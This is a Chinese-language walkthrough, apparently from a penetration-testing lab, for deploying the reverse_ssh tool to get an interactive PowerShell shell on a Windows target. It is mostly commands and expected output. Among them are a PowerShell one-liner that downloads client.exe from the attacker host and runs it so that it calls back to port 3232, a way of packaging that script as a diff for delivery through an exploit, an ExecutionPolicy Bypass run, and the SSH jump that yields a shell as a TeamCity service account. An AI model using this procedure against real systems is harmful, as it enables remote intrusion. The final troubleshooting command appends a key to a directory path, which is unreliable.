目錄
🌐 工具簡介
?? 前提條件
攻擊主機 (Linux)
目標主機 (Windows)
📋 詳細步驟
步驟 1:安裝 Go 環境
步驟 2:安裝必要依賴
步驟 3:下載并編譯 reverse_ssh
步驟 4:配置密鑰
步驟 5:啟動 reverse_ssh 服務器
步驟 6:創建 PowerShell 腳本
步驟 7:生成 diff.txt
步驟 8:啟動 HTTP 服務器
步驟 9:目標主機:執行 PowerShell 腳本
步驟 10:攻擊主機:確認連接并獲取 ID
步驟 11:攻擊主機:建立 SSH 連接
?? 錯誤排查與修復
錯誤 1:主機密鑰驗證失敗
錯誤 2:公鑰認證失敗
🌐 工具簡介
reverse_ssh 是一個基于 Go 語言開發的開源工具,用于創建反向 SSH 連接。它允許 Windows 目標主機繞過防火墻或 NAT,主動連接到攻擊主機的 SSH 服務器,提供交互式 PowerShell shell。
-
服務器端:運行在攻擊主機,監聽指定端口(如 3232)。
-
客戶端 (client.exe):運行在 Windows 目標主機,連接到攻擊主機。
-
功能:支持動態端口轉發、文件傳輸(SCP/SFTP)及 Windows 交互式 shell(通過 conpty/winpty)。
?? 前提條件
攻擊主機 (Linux)
-
操作系統:Linux(如 Ubuntu)。
-
工具:Git、Go(版本 1.17 或更高)、make、Python3、OpenSSH 客戶端。
-
防火墻:開放端口 3232(服務器端口)和 80(HTTP 服務器端口)。
-
IP 地址:10.10.14.52(通過 ifconfig 或 ip addr 確認)。
-
用戶:以 root 或普通用戶(如 fidey)操作,需注意文件權限。
目標主機 (Windows)
-
系統:Windows(支持 PowerShell)。
-
網絡:可訪問 10.10.14.52:3232 和 10.10.14.52:80。
-
權限:通過漏洞利用或其他方式可執行 PowerShell 腳本。
📋 詳細步驟
以下步驟假設工作目錄為 /home/fidey/Desktop/reverse_ssh,用戶為 fidey,但以 root 執行部分命令。
步驟 1:安裝 Go 環境
目標:確保 Go(版本 1.17 或更高)正確安裝以編譯 reverse_ssh。
-
檢查現有 Go 版本:
go version
-
如果版本低于 1.17 或未安裝,繼續以下步驟。
-
卸載舊版 Go(如有):
sudo rm -rf /usr/local/go sudo apt remove golang-go -y
-
下載并安裝 Go 1.22.3(截至 2025/05/21 的最新版本):
wget https://go.dev/dl/go1.22.3.linux-amd64.tar.gz sudo tar -C /usr/local -xzf go1.22.3.linux-amd64.tar.gz
-
配置環境變量:
-
編輯 ~/.bashrc 或 ~/.zshrc:
vim ~/.bashrc
-
添加:
export PATH=$PATH:/usr/local/go/bin
-
-
使配置生效:
source ~/.bashrc
-
驗證 Go 安裝:
go version
預期輸出:
go version go1.22.3 linux/amd64
-
如果輸出不正確,檢查下載鏈接或環境變量配置。
步驟 2:安裝必要依賴
目標:確保系統具備編譯和運行 reverse_ssh 的依賴。
-
更新系統包索引:
sudo apt update
-
安裝 Git 和 make:
sudo apt install git make -y
-
安裝 OpenSSH 客戶端(用于后續 SSH 連接):
sudo apt install openssh-client -y
-
攻擊主機生成ssh公鑰私鑰 命令解釋:
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
############## ssh-keygen OpenSSH 提供的密鑰生成工具,用于創建 SSH 認證所需的公鑰/私鑰對。 ############## -t ed25519 指定密鑰類型為 ed25519(基于 Edwards-curve Digital Signature Algorithm)。 優勢:安全性高(等效 RSA 3072 位)、生成速度快、密鑰長度短(僅 256 位)。 ############## -f ~/.ssh/id_ed25519 指定私鑰保存路徑為 ~/.ssh/id_ed25519(用戶家目錄下的 .ssh 文件夾)。 公鑰會自動生成在同路徑下,文件名追加 .pub(即 ~/.ssh/id_ed25519.pub)。 ############## -N "" 設置密鑰的密碼(passphrase)為空(""表示無密碼)。 若需密碼保護,可替換為 -N "your_password"。 ############## 命令輸出示例:Generating public/private ed25519 key pair. Your identification has been saved in /home/user/.ssh/id_ed25519 Your public key has been saved in /home/user/.ssh/id_ed25519.pub The key fingerprint is: SHA256:AbCdEfGhIjKlMnOpQrStUvWxYz1234567890 user@hostname The key's randomart image is: +--[ED25519 256]--+ | ? ? ? .o+o. ? | | ? ? ? . oo . . | | ? ? . . = o ? | | ? ? ? o = * . | | ? ? . S + + . | | ? ? ? ? o = . ? | | ? ? ? ? + . ? | | ? ? ? ? . E ? ? | | ? ? ? ? .. ? ? | +----[SHA256]-----+
步驟 3:下載并編譯 reverse_ssh
目標:從 GitHub 獲取 reverse_ssh v1.0.16 并編譯生成服務器和客戶端。
-
創建工作目錄:
mkdir -p /home/fidey/Desktop/reverse_ssh cd /home/fidey/Desktop/reverse_ssh
-
克隆 reverse_ssh 倉庫(指定 v1.0.16):
git clone --branch v1.0.16 https://github.com/NHAS/reverse_ssh.git cd reverse_ssh
-
編譯服務器和客戶端:
make
預期輸出:
-
bin/server(Linux 服務器)
-
bin/client(Linux 客戶端)
-
bin/id_ed25519(服務器私鑰)
-
bin/id_ed25519.pub(服務器公鑰)
-
-
為 Windows 編譯客戶端:
GOOS=windows GOARCH=amd64 make client
預期輸出:bin/client.exe(Windows 可執行文件)。
-
驗證編譯結果:
ls -l bin/
預期輸出:
-rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 client -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 client.exe -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 server -rw------- 1 fidey fidey ? ? 411 May 21 13:00 id_ed25519 -rw-r--r-- 1 fidey fidey ? ? 102 May 21 13:00 id_ed25519.pub
步驟 4:配置密鑰
目標:配置服務器密鑰和攻擊主機公鑰以接受連接。
-
進入 bin 目錄:
cd bin
-
檢查服務器密鑰:
ls id_ed25519 id_ed25519.pub
-
若缺失,重新生成:
ssh-keygen -t ed25519 -f id_ed25519 -N ""
-
生成攻擊主機的 SSH 密鑰對(若未生成):
-
檢查 root 用戶密鑰:
ls -l /root/.ssh/id_ed25519 /root/.ssh/id_ed25519.pub
-
若不存在,生成:
sudo ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
-
-
創建并配置 authorized_keys:
-
創建 authorized_keys 文件:
touch authorized_keys
-
添加攻擊主機的公鑰(假設以 root 連接):
cat /root/.ssh/id_ed25519.pub >> authorized_keys
注意:不要將 id_ed25519.pub(服務器公鑰)復制到 authorized_keys,這是常見錯誤。
-
-
設置文件權限:
chmod 600 authorized_keys id_ed25519 chmod 644 id_ed25519.pub
-
驗證權限:
ls -l authorized_keys id_ed25519 id_ed25519.pub
預期輸出:
-rw------- 1 fidey fidey 102 May 21 13:01 authorized_keys -rw------- 1 fidey fidey 411 May 21 13:00 id_ed25519 -rw-r--r-- 1 fidey fidey 102 May 21 13:00 id_ed25519.pub
步驟 5:啟動 reverse_ssh 服務器
目標:運行服務器,監聽 0.0.0.0:3232。
-
確保在 bin 目錄:
pwd
預期輸出:
/home/fidey/Desktop/reverse_ssh/reverse_ssh/bin
-
啟動服務器:
./server 0.0.0.0:3232 --insecure
--insecure:跳過部分握手驗證,簡化連接。 預期輸出:
2025/05/21 13:17:02 Listening on 0.0.0.0:3232 2025/05/21 13:17:02 Loading private key from: /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin/id_ed25519 2025/05/21 13:17:02 Server key fingerprint: df32b00476bafa0d...
-
若提示 authorized_keys 缺失,檢查步驟 4。
-
驗證端口監聽:
netstat -tuln | grep 3232
預期輸出:
tcp ? ? ? 0 ? ? 0 0.0.0.0:3232 ? ? ? ? ? 0.0.0.0:* ? ? ? ? ? ? ? LISTEN
步驟 6:創建 PowerShell 腳本
目標:生成腳本讓目標主機下載并執行 client.exe。
-
創建 hello_world.ps1:
echo 'iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232' > hello_world.ps1
-
驗證腳本內容:
cat hello_world.ps1
預期輸出:
iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232
步驟 7:生成 diff.txt
目標:將腳本保存為 diff 格式,便于傳遞。
-
初始化 Git 倉庫:
git init
-
添加并生成 diff:
git add hello_world.ps1 git diff --cached > diff.txt
-
驗證 diff.txt:
cat diff.txt
預期輸出:
diff --git a/hello_world.ps1 b/hello_world.ps1 new file mode 100644 --- /dev/null +++ b/hello_world.ps1 @@ -0,0 +1 @@ +iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe;C:\windows\temp\client.exe 10.10.14.52:3232
步驟 8:啟動 HTTP 服務器
目標:提供 client.exe 下載。
-
確保 client.exe 存在:
ls client.exe
-
啟動 HTTP 服務器:
python3 -m http.server 80
在新終端運行,避免干擾服務器進程。
-
驗證:在攻擊主機或另一臺機器上運行:
curl http://10.10.14.52:80/client.exe
應返回二進制數據或下載文件。
步驟 9:目標主機:執行 PowerShell 腳本
目標:通過漏洞利用運行腳本,建立反向連接。
-
傳遞腳本:
-
將 diff.txt 內容轉換為 C:\temp\hello_world.ps1(通過漏洞傳遞)。
-
示例內容:
iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232
-
-
執行腳本:
-
在目標主機打開 PowerShell(Win + R,輸入 powershell)。
-
運行:
powershell -ExecutionPolicy Bypass -File C:\temp\hello_world.ps1
-
腳本下載 client.exe 并運行,連接到 10.10.14.52:3232。
-
-
檢查 client.exe 是否運行:
dir C:\windows\temp\client.exe
-
若缺失,檢查 HTTP 服務器或防病毒軟件攔截。
-
步驟 10:攻擊主機:確認連接并獲取 ID
目標:記錄目標主機的連接 ID。
-
查看服務器終端輸出:
-
成功連接示例:
2025/05/21 13:20:00 [10.10.11.207:53849] INFO sshd.go:360 acceptConn() : New controllable connection with id 36bc39ca884246b576a98cf7168e530becb34e
-
-
記錄連接 ID(如 36bc39ca884246b576a98cf7168e530becb34e)。
步驟 11:攻擊主機:建立 SSH 連接
目標:通過連接 ID 獲取目標主機的 PowerShell shell。
-
嘗試連接:
ssh -J 10.10.14.52:3232 36bc39ca884246b576a98cf7168e530becb34e
-
成功后進入 PowerShell shell: 預期輸出:
Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\TeamCity\buildAgent\work\74c2f03019966b3e> whoami coder\svc_teamcity
?? 錯誤排查與修復
錯誤 1:主機密鑰驗證失敗
錯誤信息:
WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! Host key for [10.10.14.52]:3232 has changed and you have requested strict checking. Host key verification failed.
原因:/root/.ssh/known_hosts 中的主機密鑰與當前服務器密鑰不匹配。 解決方案:
-
移除舊主機密鑰:
ssh-keygen -f "/root/.ssh/known_hosts" -R "[10.10.14.52]:3232"
-
臨時禁用嚴格檢查(僅測試用):
ssh -J 10.10.14.52:3232 -o StrictHostKeyChecking=no 36bc39ca884246b576a98cf7168e530becb34e
-
重新連接:
ssh -J 10.10.14.52:3232 <connection_id>
錯誤 2:公鑰認證失敗
錯誤信息:
root@10.10.14.52: Permission denied (publickey). kex_exchange_identification: Connection closed by remote host
原因:攻擊主機的公鑰未在服務器的 authorized_keys 中。 解決方案:
-
檢查攻擊主機密鑰:
ls -l /root/.ssh/id_ed25519 /root/.ssh/id_ed25519.pub
-
若缺失,生成:
sudo ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
-
添加公鑰到 authorized_keys:
cat /root/.ssh/id_ed25519.pub >> /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin